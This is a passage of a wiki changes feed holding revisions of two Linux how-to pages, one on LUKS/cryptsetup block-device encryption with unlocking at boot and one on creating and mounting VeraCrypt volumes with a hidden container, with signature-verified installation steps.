		<updated>2020-09-17T17:10:31Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor: Added to Category Documentations&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes for Linux-based systems, how to encrypt a block device using LUKS/dm-Crypt/cryptsetup and automatically unlock and map the encrypted block device on boot.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (&#039;&#039;Here: Ubuntu 20.04 LTS&#039;&#039;)&lt;br /&gt;
* Plain dm-crypt and LUKS encrypted volumes manager installed (&amp;lt;code&amp;gt;apt install cryptsetup&amp;lt;/code&amp;gt;) (&#039;&#039;Here: v2.2.2&#039;&#039;)&lt;br /&gt;
* Block device (&#039;&#039;e.g. partition&#039;&#039;) that is unmapped and ready to encrypt. (&#039;&#039;Any content will be lost!&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Encrypt block device&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
# Generate a random keyfile&lt;br /&gt;
sudo dd if=/dev/urandom bs=256 count=1 of=$KEYFILE&lt;br /&gt;
# Add keyfile to the LUKS header key store&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Unlock and map the encrypted device on boot via UUID (See: man crypttab)&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
# Dump the header information of a LUKS device.&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
man cryptsetup&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
&lt;br /&gt;
Initializes a LUKS partition and sets the initial passphrase (&#039;&#039;for key-slot 0&#039;&#039;). LUKS2 is used by default. All available algorithms (&#039;&#039;cipher, hash&#039;&#039;) are listed in &amp;lt;code&amp;gt;/proc/crypto&amp;lt;/code&amp;gt; or use &amp;lt;code&amp;gt;cryptsetup benchmark&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE APPROPRIATE BLOCK DEVICE&lt;br /&gt;
BLOCK_DEVICE=&amp;quot;/dev/sdb1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Encrypt block device (Here: using defaults)&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# Verify: Dump the header information&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
# Verify: Inspect device content&lt;br /&gt;
sudo hexdump -C $BLOCK_DEVICE | less&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Additional &amp;lt;code&amp;gt;luksFormat&amp;lt;/code&amp;gt; parameters&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;--cypher&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;aes-xts-plain64&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--key-size&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--hash&amp;lt;/code&amp;gt;: Algorithm used to derive the key. (Default: &#039;&#039;&#039;sha256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--time&amp;lt;/code&amp;gt;: The time used for passphrase processing. (Default: &#039;&#039;&#039;2000&#039;&#039;&#039;) milliseconds.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--use-random/--use-urandom&amp;lt;/code&amp;gt;: Used RNG. (Default: &#039;&#039;&#039;--use-urandom&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== Auto-Mount during Boot ==&lt;br /&gt;
&lt;br /&gt;
In the following a keyfile will be added to the LUKS header key store to use with &amp;lt;code&amp;gt;crypttab&amp;lt;/code&amp;gt; for automatic device unlocking and mapping at boot. The resulting mapped device can be added a filesystem via &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt; and automatically mounted using &amp;lt;code&amp;gt;fstab&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO A SAFE LOCATION TO STORE THE KEYFILE&lt;br /&gt;
KEYFILE=&amp;quot;/root/key.bin&amp;quot;&lt;br /&gt;
# CHANGE THIS VARIABLE TO THE NAME OF THE DEVICE MAPPER MOUNTPOINT&lt;br /&gt;
MAPPER_NAME=&amp;quot;enc_dev&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Generate a random Keyfil and limit access&lt;br /&gt;
sudo dd if=/dev/urandom bs=32 count=1 of=$KEYFILE&lt;br /&gt;
sudo chmod 400 $KEYFILE&lt;br /&gt;
&lt;br /&gt;
# Add keyfile to the LUKS key storage (max. 8)&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Remove: sudo cryptsetup luksRemoveKey $BLOCK_DEVICE&lt;br /&gt;
# The passphrase (aka. key-slot 0) remains as backup key&lt;br /&gt;
&lt;br /&gt;
# The crypttab file describes encrypted block devices that are set up during system boot.&lt;br /&gt;
# Format: volume-name encrypted-device key-file options&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
&lt;br /&gt;
# Reboot. Then Verify.&lt;br /&gt;
lsblk &amp;quot;/dev/mapper/$MAPPER_NAME&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://gitlab.com/cryptsetup/cryptsetup/&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Drive_preparation&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Device_encryption&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/System_configuration#crypttab&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4558</id>
		<title>Block Device Encryption - VeraCrypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4558"/>
		<updated>2020-09-17T17:09:46Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor: Added to Category Documentations&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Install (https://www.veracrypt.fr/en/Downloads.html)&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&lt;br /&gt;
# Create encrypted volume (interactive)&lt;br /&gt;
veracrypt -c&lt;br /&gt;
# Mount encrypted volume (interactive)&lt;br /&gt;
veracrypt $ENC_FILE $MOUNT_POINT&lt;br /&gt;
# List mounted volumes&lt;br /&gt;
veracrypt -l&lt;br /&gt;
# Unmount a specific Veracrypt volumes&lt;br /&gt;
veracrypt -d $ENC_FILE&lt;br /&gt;
# Unmount all Veracrypt volumes&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
veracrypt -h&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (Here: Ubuntu 20.04 LTS)&lt;br /&gt;
* VeraCrypt Console (Installation notes below) (Here: VeraCrypt 1.24-update7)&lt;br /&gt;
&lt;br /&gt;
=== Install pre-build binary ===&lt;br /&gt;
&lt;br /&gt;
This section downloads the the veracrypt package, verify its integrity and finally installs it. Get the download link for the appropriate System from &amp;lt;code&amp;gt;https://www.veracrypt.fr/en/Downloads.html&amp;lt;/code&amp;gt; and copy the download link to the variable in the variable &amp;lt;code&amp;gt;DEB_PACKAGE_HREF&amp;lt;/code&amp;gt;. For all unsupported Linux-based OS, proceed to the next section &amp;amp;quot;build from source&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE DESIRED VERSION AND DISTRO&lt;br /&gt;
# Here: VeraCrypt Console 1.24u7 for Ubuntu 20.04 (amd64)&lt;br /&gt;
DEB_PACKAGE_HREF=&amp;quot;https://launchpad.net/veracrypt/trunk/1.24-update7/+download/veracrypt-console-1.24-Update7-Ubuntu-20.04-amd64.deb&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Helper variables used in the following for a better overview&lt;br /&gt;
# Simply copy paste this block to the terminal&lt;br /&gt;
SIG_DEB_PACKAGE_HREF=$DEB_PACKAGE_HREF&amp;quot;.sig&amp;quot;&lt;br /&gt;
PGP_PUBLIC_KEY_HREF=&amp;quot;https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc&amp;quot;&lt;br /&gt;
# Reference to the local file names&lt;br /&gt;
LOCAL_PATH=&amp;quot;/var/tmp/&amp;quot;&lt;br /&gt;
DEB_PACKAGE=$LOCAL_PATH${DEB_PACKAGE_HREF##*/}&lt;br /&gt;
SIG_DEB_PACKAGE=$LOCAL_PATH${SIG_DEB_PACKAGE_HREF##*/}&lt;br /&gt;
PGP_PUBLIC_KEY=$LOCAL_PATH${PGP_PUBLIC_KEY_HREF##*/}&lt;br /&gt;
# VeraCrypt PGP public key RSA fingerprint &lt;br /&gt;
FINGERPRINT=&amp;quot;5069A233D55A0EEB174A5FC3821ACD02680D16DE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Download the necessary files&lt;br /&gt;
wget $DEB_PACKAGE_HREF -O $DEB_PACKAGE&lt;br /&gt;
wget $SIG_DEB_PACKAGE_HREF -O $SIG_DEB_PACKAGE&lt;br /&gt;
wget $PGP_PUBLIC_KEY_HREF -O $PGP_PUBLIC_KEY&lt;br /&gt;
&lt;br /&gt;
# Verify PGP Signature&lt;br /&gt;
gpg --import --import-options show-only $PGP_PUBLIC_KEY | grep $FINGERPRINT&lt;br /&gt;
# Only continue if the $PGP_PUBLIC_KEY matches the static $FINGERPRINT. &lt;br /&gt;
# Else, someone tries to trick you.&lt;br /&gt;
gpg --import $PGP_PUBLIC_KEY&lt;br /&gt;
gpg --verify $SIG_DEB_PACKAGE $DEB_PACKAGE&lt;br /&gt;
# Only continue if the $SIG_DEB_PACKAGE verfies the $DEB_PACKAGE&#039;s integrity&lt;br /&gt;
&lt;br /&gt;
# Install the veracrypt package&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Build from source ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Required packages (Adapt to the OS specific package manager)&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install yasm make gcc pkg-config fuse libfuse-dev&lt;br /&gt;
&lt;br /&gt;
# Download source code&lt;br /&gt;
git clone https://github.com/veracrypt/VeraCrypt /var/tmp/VeraCrypt&lt;br /&gt;
# Won&#039;t build without this library eventhough the NOGUI bit is set&lt;br /&gt;
git clone https://github.com/wxWidgets/wxWidgets /var/tmp/VeraCrypt/src/wxWidgets&lt;br /&gt;
git -C /var/tmp/VeraCrypt/src/wxWidgets/ submodule update --init 3rdparty/catch&lt;br /&gt;
&lt;br /&gt;
# Build and link&lt;br /&gt;
make WXSTATIC=1 WX_ROOT=/var/tmp/VeraCrypt/src/wxWidgets/ wxbuild -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
make WXSTATIC=1 -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
sudo mv /var/tmp/VeraCrypt/src/Main/varacrypt /usr/bin/&lt;br /&gt;
&lt;br /&gt;
# Test&lt;br /&gt;
veracrypt --version# Here: VeraCrypt 1.24-Update7&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Procedure ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;VeraCrypt 1.24 Parameters&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;: &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Volume types&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] Normal [&#039;&#039;&#039;2&#039;&#039;&#039;] Hidden&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encryption Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] AES [&#039;&#039;&#039;2&#039;&#039;&#039;] Serpent [&#039;&#039;&#039;3&#039;&#039;&#039;] Twofish [&#039;&#039;&#039;4&#039;&#039;&#039;] Camellia [&#039;&#039;&#039;5&#039;&#039;&#039;] Kuznyechik [&#039;&#039;&#039;6&#039;&#039;&#039;] AES(Twofish) [&#039;&#039;&#039;7&#039;&#039;&#039;] AES(Twofish(Serpent)) [&#039;&#039;&#039;8&#039;&#039;&#039;] Camellia(Kuznyechik) [&#039;&#039;&#039;9&#039;&#039;&#039;] Camellia(Serpent) [&#039;&#039;&#039;10&#039;&#039;&#039;] Kuznyechik(AES) [&#039;&#039;&#039;11&#039;&#039;&#039;] Kuznyechik(Serpent(Camellia)) [&#039;&#039;&#039;12&#039;&#039;&#039;] Kuznyechik(Twofish) [&#039;&#039;&#039;13&#039;&#039;&#039;] Serpent(AES) [&#039;&#039;&#039;14&#039;&#039;&#039;] Serpent(Twofish(AES)) [&#039;&#039;&#039;15&#039;&#039;&#039;] Twofish(Serpent)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Hash Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] SHA-512 [&#039;&#039;&#039;2&#039;&#039;&#039;] Whirlpool [&#039;&#039;&#039;3&#039;&#039;&#039;] SHA-256 [&#039;&#039;&#039;4&#039;&#039;&#039;] Streebog&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystems&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] None [&#039;&#039;&#039;2&#039;&#039;&#039;] FAT [&#039;&#039;&#039;3&#039;&#039;&#039;] Linux Ext2 [&#039;&#039;&#039;4&#039;&#039;&#039;] Linux Ext3 [&#039;&#039;&#039;5&#039;&#039;&#039;] Linux Ext4 [&#039;&#039;&#039;6&#039;&#039;&#039;] NTFS [&#039;&#039;&#039;7&#039;&#039;&#039;] exFAT [&#039;&#039;&#039;8&#039;&#039;&#039;] Btrfs&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Create outter container ===&lt;br /&gt;
&lt;br /&gt;
The outter container will be configured using a basic &amp;lt;code&amp;gt;{AES, SHA256, Password}&amp;lt;/code&amp;gt; configuration and size of 25MB, for the sake of an example. Any parameters may be adapted as needed while using the &amp;lt;code&amp;gt;-c&amp;lt;/code&amp;gt; flag, and are elaborated sufficiently in the interactive prompt. The &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt; flag may be used to access the help for further information. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 1&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Volume size (sizeK/size[M]/sizeG): 24414K&lt;br /&gt;
Encryption Algorithm: 1&lt;br /&gt;
Hash algorithm: 3&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Enter keyfile path [none]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add hidden container ===&lt;br /&gt;
&lt;br /&gt;
After creating the outter container, an inner hidden container can be added. The hidden container will be configured using s sophisticated &amp;lt;code&amp;gt;{AES(Twofish), SHA512, {Password, custom PIM, Keyfile}}&amp;lt;/code&amp;gt; configuration and size of 5MB, for the sake of an example. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;$ veracrypt -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 2&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Hidden volume size (sizeK/size[M]/sizeG): 3883K&lt;br /&gt;
Encryption Algorithm: 6&lt;br /&gt;
Hash algorithm: 1&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile path [none]: ./Example_Keyfile.png&lt;br /&gt;
Keyfile path [finish]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount container ===&lt;br /&gt;
&lt;br /&gt;
Simply mount VeraCrypt container via text user interface &amp;lt;code&amp;gt;-t, --text&amp;lt;/code&amp;gt;, which is enabled by default. Or mount in a single command referencing to &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt $ENC_CONTAINER_FILE $MOUNT_POINT &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==== Example: Mount KYTPMET_UE01.hc outter container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Keyfile [none]: [ENTER]&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Example: Mount KYTPMET_UE01.hc hidden container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile [none]: Keyfile.png&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== List Mounted Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -l&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Dismount Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Specific&lt;br /&gt;
veracrypt -d $MOUNTPOINT&lt;br /&gt;
# All&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/veracrypt/VeraCrypt&lt;br /&gt;
* https://www.veracrypt.fr/en/Downloads.html&lt;br /&gt;
* https://www.veracrypt.fr/en/Digital%20Signatures.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4557</id>
		<title>Block Device Encryption - VeraCrypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=4557"/>
		<updated>2020-09-17T16:53:13Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Created page with &amp;quot;This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.  == TL;DR ==  &amp;lt;source lan...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Install (https://www.veracrypt.fr/en/Downloads.html)&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&lt;br /&gt;
# Create encrypted volume (interactive)&lt;br /&gt;
veracrypt -c&lt;br /&gt;
# Mount encrypted volume (interactive)&lt;br /&gt;
veracrypt $ENC_FILE $MOUNT_POINT&lt;br /&gt;
# List mounted volumes&lt;br /&gt;
veracrypt -l&lt;br /&gt;
# Unmount a specific Veracrypt volumes&lt;br /&gt;
veracrypt -d $ENC_FILE&lt;br /&gt;
# Unmount all Veracrypt volumes&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
veracrypt -h&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (Here: Ubuntu 20.04 LTS)&lt;br /&gt;
* VeraCrypt Console (Installation notes below) (Here: VeraCrypt 1.24-update7)&lt;br /&gt;
&lt;br /&gt;
=== Install pre-build binary ===&lt;br /&gt;
&lt;br /&gt;
This section downloads the the veracrypt package, verify its integrity and finally installs it. Get the download link for the appropriate System from &amp;lt;code&amp;gt;https://www.veracrypt.fr/en/Downloads.html&amp;lt;/code&amp;gt; and copy the download link to the variable in the variable &amp;lt;code&amp;gt;DEB_PACKAGE_HREF&amp;lt;/code&amp;gt;. For all unsupported Linux-based OS, proceed to the next section &amp;amp;quot;build from source&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE DESIRED VERSION AND DISTRO&lt;br /&gt;
# Here: VeraCrypt Console 1.24u7 for Ubuntu 20.04 (amd64)&lt;br /&gt;
DEB_PACKAGE_HREF=&amp;quot;https://launchpad.net/veracrypt/trunk/1.24-update7/+download/veracrypt-console-1.24-Update7-Ubuntu-20.04-amd64.deb&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Helper variables used in the following for a better overview&lt;br /&gt;
# Simply copy paste this block to the terminal&lt;br /&gt;
SIG_DEB_PACKAGE_HREF=$DEB_PACKAGE_HREF&amp;quot;.sig&amp;quot;&lt;br /&gt;
PGP_PUBLIC_KEY_HREF=&amp;quot;https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc&amp;quot;&lt;br /&gt;
# Reference to the local file names&lt;br /&gt;
LOCAL_PATH=&amp;quot;/var/tmp/&amp;quot;&lt;br /&gt;
DEB_PACKAGE=$LOCAL_PATH${DEB_PACKAGE_HREF##*/}&lt;br /&gt;
SIG_DEB_PACKAGE=$LOCAL_PATH${SIG_DEB_PACKAGE_HREF##*/}&lt;br /&gt;
PGP_PUBLIC_KEY=$LOCAL_PATH${PGP_PUBLIC_KEY_HREF##*/}&lt;br /&gt;
# VeraCrypt PGP public key RSA fingerprint &lt;br /&gt;
FINGERPRINT=&amp;quot;5069A233D55A0EEB174A5FC3821ACD02680D16DE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Download the necessary files&lt;br /&gt;
wget $DEB_PACKAGE_HREF -O $DEB_PACKAGE&lt;br /&gt;
wget $SIG_DEB_PACKAGE_HREF -O $SIG_DEB_PACKAGE&lt;br /&gt;
wget $PGP_PUBLIC_KEY_HREF -O $PGP_PUBLIC_KEY&lt;br /&gt;
&lt;br /&gt;
# Verify PGP Signature&lt;br /&gt;
gpg --import --import-options show-only $PGP_PUBLIC_KEY | grep $FINGERPRINT&lt;br /&gt;
# Only continue if the $PGP_PUBLIC_KEY matches the static $FINGERPRINT. &lt;br /&gt;
# Else, someone tries to trick you.&lt;br /&gt;
gpg --import $PGP_PUBLIC_KEY&lt;br /&gt;
gpg --verify $SIG_DEB_PACKAGE $DEB_PACKAGE&lt;br /&gt;
# Only continue if the $SIG_DEB_PACKAGE verfies the $DEB_PACKAGE&#039;s integrity&lt;br /&gt;
&lt;br /&gt;
# Install the veracrypt package&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Build from source ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Required packages (Adapt to the OS specific package manager)&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install yasm make gcc pkg-config fuse libfuse-dev&lt;br /&gt;
&lt;br /&gt;
# Download source code&lt;br /&gt;
git clone https://github.com/veracrypt/VeraCrypt /var/tmp/VeraCrypt&lt;br /&gt;
# Won&#039;t build without this library eventhough the NOGUI bit is set&lt;br /&gt;
git clone https://github.com/wxWidgets/wxWidgets /var/tmp/VeraCrypt/src/wxWidgets&lt;br /&gt;
git -C /var/tmp/VeraCrypt/src/wxWidgets/ submodule update --init 3rdparty/catch&lt;br /&gt;
&lt;br /&gt;
# Build and link&lt;br /&gt;
make WXSTATIC=1 WX_ROOT=/var/tmp/VeraCrypt/src/wxWidgets/ wxbuild -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
make WXSTATIC=1 -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
sudo mv /var/tmp/VeraCrypt/src/Main/varacrypt /usr/bin/&lt;br /&gt;
&lt;br /&gt;
# Test&lt;br /&gt;
veracrypt --version# Here: VeraCrypt 1.24-Update7&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Procedure ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;VeraCrypt 1.24 Parameters&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;: &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Volume types&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] Normal [&#039;&#039;&#039;2&#039;&#039;&#039;] Hidden&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encryption Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] AES [&#039;&#039;&#039;2&#039;&#039;&#039;] Serpent [&#039;&#039;&#039;3&#039;&#039;&#039;] Twofish [&#039;&#039;&#039;4&#039;&#039;&#039;] Camellia [&#039;&#039;&#039;5&#039;&#039;&#039;] Kuznyechik [&#039;&#039;&#039;6&#039;&#039;&#039;] AES(Twofish) [&#039;&#039;&#039;7&#039;&#039;&#039;] AES(Twofish(Serpent)) [&#039;&#039;&#039;8&#039;&#039;&#039;] Camellia(Kuznyechik) [&#039;&#039;&#039;9&#039;&#039;&#039;] Camellia(Serpent) [&#039;&#039;&#039;10&#039;&#039;&#039;] Kuznyechik(AES) [&#039;&#039;&#039;11&#039;&#039;&#039;] Kuznyechik(Serpent(Camellia)) [&#039;&#039;&#039;12&#039;&#039;&#039;] Kuznyechik(Twofish) [&#039;&#039;&#039;13&#039;&#039;&#039;] Serpent(AES) [&#039;&#039;&#039;14&#039;&#039;&#039;] Serpent(Twofish(AES)) [&#039;&#039;&#039;15&#039;&#039;&#039;] Twofish(Serpent)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Hash Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
